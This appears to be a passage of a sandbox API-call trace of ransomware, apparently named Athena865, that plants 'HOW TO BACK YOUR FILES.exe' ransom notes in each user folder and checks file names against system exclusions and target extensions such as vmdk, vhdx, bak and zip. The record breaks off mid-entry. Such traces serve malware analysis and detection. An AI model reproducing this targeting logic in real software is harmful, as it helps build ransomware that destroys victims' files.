FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61a6d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0101.971] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.971] ReleaseMutex (hMutex=0xec) returned 1 [0101.971] CloseHandle (hObject=0xec) returned 1 [0101.971] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment" [0101.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527fa8 | out: hHeap=0x4f0000) returned 1 [0101.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b738 | out: hHeap=0x4f0000) returned 1 [0101.971] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment") returned 72 [0101.971] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FA5DE901FDC776B3F0289478DA1A2D4C") returned 0xec [0101.971] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.971] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment" [0101.971] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.971] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.972] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\deployment\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.972] GetLastError () returned 0x0 [0101.972] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.972] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.972] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.973] CloseHandle (hObject=0xf4) returned 1 [0101.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.973] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.973] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Deployment\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.974] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.974] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.974] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.974] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61a6d40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.974] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.974] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.974] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.974] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.974] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61a6d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.974] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.974] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61a6d40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61a6d40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0101.974] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.974] ReleaseMutex (hMutex=0xec) returned 1 [0101.974] CloseHandle (hObject=0xec) returned 1 [0101.974] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google" [0101.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0101.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b750 | out: hHeap=0x4f0000) returned 1 [0101.974] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google") returned 68 [0101.974] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F750DD3DB690B93872E8E169CD8E6556") returned 0xec [0101.974] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.974] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google" [0101.975] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.975] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\google\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.975] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\google\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.975] GetLastError () returned 0x0 [0101.975] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.975] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.976] CloseHandle (hObject=0xf4) returned 1 [0101.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.976] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.976] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61f3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.977] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.977] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.977] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61f3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.977] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.977] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.977] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.977] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.977] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2=".") returned 1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="..") returned 1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="windows") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="bootmgr") returned 1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="temp") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="pagefile.sys") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="boot") returned 1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="ids.txt") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="ntuser.dat") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="perflogs") returned -1 [0101.977] lstrcmpiW (lpString1="Chrome", lpString2="MSBuild") returned -1 [0101.977] lstrlenW (lpString="Chrome") returned 6 [0101.977] lstrcpyW (in: lpString1=0x241e8d2, lpString2="Chrome" | out: lpString1="Chrome") returned="Chrome" [0101.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b750 [0101.977] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53d540 [0101.977] lstrcatW (in: lpString1="Chrome", lpString2="\\" | out: lpString1="Chrome\\") returned="Chrome\\" [0101.978] lstrcatW (in: lpString1="Chrome\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Chrome\\HOW TO BACK YOUR FILES.exe") returned="Chrome\\HOW TO BACK YOUR FILES.exe" [0101.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\Chrome\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\google\\chrome\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.982] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2=".") returned 1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2="..") returned 1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2="windows") returned -1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2="bootmgr") returned 1 [0101.982] lstrcmpiW (lpString1="CrashReports", lpString2="temp") returned -1 [0101.983] lstrcmpiW (lpString1="CrashReports", lpString2="pagefile.sys") returned -1 [0101.990] lstrcmpiW (lpString1="CrashReports", lpString2="boot") returned 1 [0101.991] lstrcmpiW (lpString1="CrashReports", lpString2="ids.txt") returned -1 [0101.991] lstrcmpiW (lpString1="CrashReports", lpString2="ntuser.dat") returned -1 [0101.991] lstrcmpiW (lpString1="CrashReports", lpString2="perflogs") returned -1 [0101.991] lstrcmpiW (lpString1="CrashReports", lpString2="MSBuild") returned -1 [0101.991] lstrlenW (lpString="CrashReports") returned 12 [0101.991] lstrcpyW (in: lpString1=0x241e8d2, lpString2="CrashReports" | out: lpString1="CrashReports") returned="CrashReports" [0101.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b738 [0101.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa4) returned 0x512a38 [0101.991] lstrcatW (in: lpString1="CrashReports", lpString2="\\" | out: lpString1="CrashReports\\") returned="CrashReports\\" [0101.991] lstrcatW (in: lpString1="CrashReports\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CrashReports\\HOW TO BACK YOUR FILES.exe") returned="CrashReports\\HOW TO BACK YOUR FILES.exe" [0101.991] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Google\\CrashReports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\google\\crashreports\\how to back your files.exe"), bFailIfExists=1) returned 1 [0101.995] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61f3000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.995] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.995] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc61f3000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0101.995] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.995] ReleaseMutex (hMutex=0xec) returned 1 [0101.996] CloseHandle (hObject=0xec) returned 1 [0101.996] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History" [0101.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b8d8 | out: hHeap=0x4f0000) returned 1 [0101.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b768 | out: hHeap=0x4f0000) returned 1 [0101.996] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History") returned 69 [0101.996] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\77FD0F809921588E9005939FBADB4BAD") returned 0xec [0101.996] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.996] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History" [0101.996] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.996] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.996] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\local settings\\history\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.997] GetLastError () returned 0x0 [0101.997] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.997] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.998] CloseHandle (hObject=0xf4) returned 1 [0101.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.998] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.998] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Local Settings\\History\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61f3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.998] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.998] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.998] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.998] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc61f3000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc61f3000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.998] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.998] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.998] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.998] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.998] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0101.998] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0101.999] lstrlenW (lpString="desktop.ini") returned 11 [0101.999] lstrcpyW (in: lpString1=0x241e8d4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0101.999] lstrlenW (lpString="desktop.ini") returned 11 [0101.999] lstrlenW (lpString="Athena865") returned 9 [0101.999] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0101.999] lstrlenW (lpString=".dll") returned 4 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0101.999] lstrlenW (lpString=".lnk") returned 4 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0101.999] lstrlenW (lpString=".ini") returned 4 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0101.999] lstrlenW (lpString=".sys") returned 4 [0101.999] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0101.999] lstrlenW (lpString="desktop.ini") returned 11 [0101.999] lstrlenW (lpString="bak") returned 3 [0101.999] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0101.999] lstrlenW (lpString="ba_") returned 3 [0101.999] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0101.999] lstrlenW (lpString="dbb") returned 3 [0101.999] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0102.000] lstrlenW (lpString="vmdk") returned 4 [0102.000] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0102.000] lstrlenW (lpString="rar") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0102.000] lstrlenW (lpString="zip") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0102.000] lstrlenW (lpString="tgz") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0102.000] lstrlenW (lpString="vbox") returned 4 [0102.000] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0102.000] lstrlenW (lpString="vdi") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0102.000] lstrlenW (lpString="vhd") returned 3 [0102.000] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0102.000] lstrlenW (lpString="vhdx") returned 4 [0102.000] 